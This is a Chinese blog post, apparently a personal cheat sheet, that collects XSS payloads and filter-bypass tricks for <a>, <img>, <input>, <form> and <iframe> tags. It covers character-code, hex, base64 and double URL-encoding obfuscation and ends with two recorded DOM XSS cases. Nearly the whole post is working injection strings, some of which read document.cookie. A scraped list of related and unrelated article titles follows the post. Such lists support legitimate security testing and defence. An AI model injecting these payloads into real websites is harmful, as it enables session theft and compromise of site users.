XSS跨站脚本小结
XSS漏洞验证经常遇到一些过滤,如何进行有效验证和绕过过滤呢,这里小结一下常见的一些标签,如<a><img>等。
参考链接:http://www.jb51.net/tools/xss.htm http://d3adend.org/xss/ghettoBypass
';alert(String.fromCharCode(88,83,83))//
\';alert(String.fromCharCode(88,83,83))//
";alert(String.fromCharCode(88,83,83))//
\";alert(String.fromCharCode(88,83,83))//
--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<iframe src="http://www.baidu.com" height="250" width="300"></iframe>
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 50, 51, 41))</script>
<script>alert(String.fromCharCode(88, 83, 83))</script>
<script>alert('xss')</script>
<p><svg onload=prompt(/xss/)></p> //遇到过这种情况
%253Csvg%2520onload%253Dprompt(/xss/)%253E //<>=双层urlencode
在使用加号做字符串连接的时候,中间的js会被执行:
http://xsst.sinaapp.com/example/test1-2.php?page=1%27%2balert(document.cookie)%2b%27
http://xsst.sinaapp.com/example/test1-2-3.php?page=%27%2bjQuery.globalEval(%27a%27%2b%27lert%27%2b%27(document.cookie)%27)%2b%27
<img> 标签
XSS利用1:
<img src=javascript:alert('xss')> //版本,E7.0|IE6.0,才能执行
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> //版本,E7.0|IE6.0,才能执行
<img src="URL" style='Xss:expression(alert(/xss/));'> //版本,E7.0|IE6.0,才能执行
CSS标记XSS
<img STYLE="background-image:url(javascript:alert('XSS'))"> //版本,E7.0|IE6.0,才能执行
CSS样式表的标记进行XSS转码
<img STYLE="background-image:\75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\29"> //版本,E7.0|IE6.0,才能执行
XSS利用2:
<img src="x" onerror="alert(1)"> //可以不加"和;
原code:
<img src="x" onerror="alert(1)">
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> //必须要有双引号,不然执行不了
原code:
<img src="1" onerror=eval("alert('xss')")></img> //可以去掉双引号
XSS利用3:
<img src=1 onerror=alert('xss')>
<img src=1 onmouseover=alert('xss') a1=1111>
<a> 标签
标准格式:
<a href="http://www.baidu.com">百度</a> XSS利用1:
<a href="javascript:alert('xss')">2</a> //可以去掉双引号 <a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>2</a> //不能去掉双引号
<a href=javascript:eval("alert('xss')")>2</a> //可以去掉双引号
原code:
<a href=javascript:eval("alert('xss')")>2</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">22222222</a>
<a href="javascript:alert("xss")">2</a>
<a href=javascript:alert(/xss/)>XSStest</a>
原code:
<a href="javascript:alert('xss')">2</a>
xss利用2:
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a> //base64编码,在谷歌浏览器可以成功解析 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">test</a>
原code:
PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
<script>alert('xss')</script> XSS利用3:
<a href="" onclick="alert(1)">aaaaa</a> //可以去掉双引号和;
原code:
<a href="" onclick="alert(1)">aaaaa</a> <a href="" onclick=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")>aaaaa</a>
<a href="" onclick=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>aaaaa</a> //单引号和双引号都可以
<a href="" onclick=eval(alert('xss'))>aaaaa</a> //可以成功弹窗,如果在url地址栏输入的时候,要进行urlenode编码 原code:
eval("alert('xss')")
<a href="#" onclick=alert(‘\170\163\163’)>test3</a> //可以成功执行
原code:
<a href="#" onclick=alert('xss')>test3</a>
XSS利用4:
<a href=kycg.asp?ttt=1000 onmouseover=prompt(123) y=2016>2</a> //可以实现弹窗
<input> 标签
一般格式:<INPUT name="name" value="">
<input value="" onclick="alert(11)" type="text">
<INPUT name="name" value="01/01/1967" onmouseover=prompt(971874) bad="">
<INPUT name="name" value=""><script>alert(123)</script>
小技巧:
当XSS遇到input hidden属性
1、使用expression突破
<input type=hidden style=`x:expression(alert(/xss/))`>
直接利用CSS的expression属性来实现突破,此技巧适用于IE6及以下的浏览器。
2、使用accesskey突破
<input type="hidden" accesskey="X" onclick="alert(/xss/)">
插入之后,使用ALT+SHIFT+X快捷键来触发XSS,此方法我在firefox下面测试通过,其它浏览器尚未可知。
类似这种span标签在网页无触发点,也可以这样子用。
<span id="span" recieveurl='xxxeId=1' accesskey='X' onclick='alert(/xss/)' bad=''></span>
<form> 标签
<form method=Post action=kycg.asp?ttt=1000 onmouseover=prompt(962613) y=&enddate=2016 > #action后面直接空格
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action=javascript:alert('xss') >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action=1 onmouseover=alert(123) bbb=111 >
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<form method=Post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<input type='text' name='page' value=0>
<input name='submit' type='submit' value='GO' class="input2">
</form>
<iframe> 标签
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> //谷歌浏览器下实现弹窗 <iframe src=1 onmouseover=alert('xss') y=2016 /><iframe> <iframe src="javascript:prompt(`xss`);" frameborder="0" width="100%" height="1120px"></iframe> //遇到的有点特别 <iframe src="vbscript:msgbox(123)"></iframe>
遇到的DOM xss 记录一下:
<script type="text/javascript">
document.write(unescape("%3Cscript src='/visit_log.jspx%3Furl%3D")+document.location.href+unescape("%26referrer%3D")+document.referrer+unescape("' type='text/javascript'%3E%3C/script%3E"));
</script>
http://192.168.106.141/1.html
Referer:http://%22'accesskey='X'onclick='alert(/xss/)'//
DOM案例二:
<script type="text/javascript">
function SetCookie(sName, sValue, timeKeep)
{
var now=new Date();
var expireTime= new Date(now.valueOf()+timeKeep**);
document.cookie = sName + "=" + escape(sValue) + "; path=/; expires=" + expireTime.toGMTString() + ";";
} function GetCookie(sName)
{
var aCookie = document.cookie.split("; ");
for (var i=; i < aCookie.length; i++)
{
var aCrumb = aCookie[i].split("=");
if (sName == aCrumb[])
return unescape(aCrumb[]);
}
return null;
} function GetCurrentDateTime()
{
var date = new Date();
var current=new String("");
current += date.getFullYear()+"-";
current += date.getMonth() + +"-";
current += date.getDate()+" ";
current += date.getHours()+":";
current += date.getMinutes()+":";
current += date.getSeconds();
return current;
} function AddTrackerCount(url, siteID){
try{
var str_cookie_unique = "tracker_cookie_" + siteID;
var str_cookie_datetime = "tracker_cookie_datetime_" + siteID; var str_firstAccessUser;
if (GetCookie(str_cookie_unique)==null)
{
str_firstAccessUser = "True";
SetCookie(str_cookie_unique,"True",);
}
else
str_firstAccessUser="False"; var str_tracker_lastAccess_datetime = GetCookie(str_cookie_datetime); SetCookie(str_cookie_datetime,GetCurrentDateTime(),*);
if (str_tracker_lastAccess_datetime==null)
str_tracker_lastAccess_datetime = ""; var pars = '&isFirstAccess=' + str_firstAccessUser + '&location=' + escape(location.href) + '&referrer=' + escape(document.referrer) + '&lastAccessDateTime=' + escape(str_tracker_lastAccess_datetime); document.write(unescape("%3Cscript src='" + url + pars + "' type='text/javascript'%3E%3C/script%3E"));
}catch(e){}
}
</script> <script type="text/javascript">AddTrackerCount('/sitefiles/services/cms/PageService.aspx?type=AddTrackerCount&publishmentSystemID=1&channelID=17&contentID=269',);</script>
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。
XSS跨站脚本小结的更多相关文章
- XSS跨站脚本小结(转)
原文链接:http://www.cnblogs.com/xiaozi/p/5588099.html#undefined XSS漏洞验证经常遇到一些过滤,如何进行有效验证和绕过过滤呢,这里小结一下常见的 ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- xss跨站脚本测试
测试的时候会涉及到xss测试,下面简要整理下xss的知识 xss跨站脚本特点就是能注入恶意的HTML/JS代码到用户浏览器,劫持用户会话 常用alert来验证网站存在漏洞 如果确认存在漏洞,会随着注入 ...
- XSS 跨站脚本攻击之ShellCode的调用
1.ShellCode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞是所执行的代码,在XSS跨站脚本中,是指由javascript等脚本编写的XSS利用代码: 2.Exploit,在黑客眼里 ...
- XSS 跨站脚本攻击之构造剖析(一)
1.XSS-Filter:跨站脚本过滤器,用于分析用户提交的输入,并消除潜在的跨站脚本攻击 (1)XSS Filter实际上是一段精心编写的过滤函数作用是过滤XSS跨站脚本代码: (2)绕过XSS F ...
- XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析
2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...
- xss(跨站脚本攻击),crsf(跨站请求伪造),xssf
我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...
- PHP漏洞全解(四)-xss跨站脚本攻击
本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站 ...
- JAVA覆写Request过滤XSS跨站脚本攻击
注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. ...
随机推荐
- 抛弃msvcrtXX库
对于极致要求体积的程序来说.抛弃Msvcrt里的函数是必要的.(尤其是msvcrtXX库)因为要使用mscvrt中的函数,就需要带上相对来 说,不能容忍的几kb的,vcrt初始化函数,包围在我们的Wi ...
- swift 定位
iOS 8 及以上需要在info.plist文件中添加下面两个属性 NSLocationWhenInUseUsageDescription 使用应用期间 NSLocationAlwaysUsageDe ...
- android小技巧(一)
1,调web浏览器 Uri myBlogUri = Uri.parse("http://xxxxx.com"); returnIt = new Intent(Intent.AC ...
- SQL简单语法
(1)select SELECT 列名称 FROM 表名称 (2)distinct SELECT DISTINCT 列名称 FROM 表名称 SELECT * FROM 表名称 (3)where SE ...
- js①
JavaScript的引入方式 直接在script标签内部书写代码 ```html <!DOCTYPE html> ``` 2. 通过script标签的src属性,引入外部的JavaScr ...
- Cairo 下载,测试
You need to download the all-in-one bundle available here. You can discover this link yourself by vi ...
- PyAutoGUI-python版的autoit/AHK
简单介绍各个图形界面自动操作的python库,类似按键精灵\autoit\ahk(autohotkey)等等这些自动化工具.这类python库不是只是用来实现自动游戏之类的程序,业界也用这些库来做GU ...
- ios开发之网络php
接着前面的学习,几天上午学习了数据库网络值php用户的注册与登录,感觉代码与ios上的oc太相似了,因此学习下来没什么障碍了,下面是代码: 首先是javascript.html文件中: <!DO ...
- Spark MLlib 之 Basic Statistics
Spark MLlib提供了一些基本的统计学的算法,下面主要说明一下: 1.Summary statistics 对于RDD[Vector]类型,Spark MLlib提供了colStats的统计方法 ...
- 一步一步搭框架(asp.netmvc+easyui+sqlserver)-02
一步一步搭框架(asp.netmvc+easyui+sqlserver)-02 我们期望简洁带前台代码,如下: <table id="dataGrid" class=&quo ...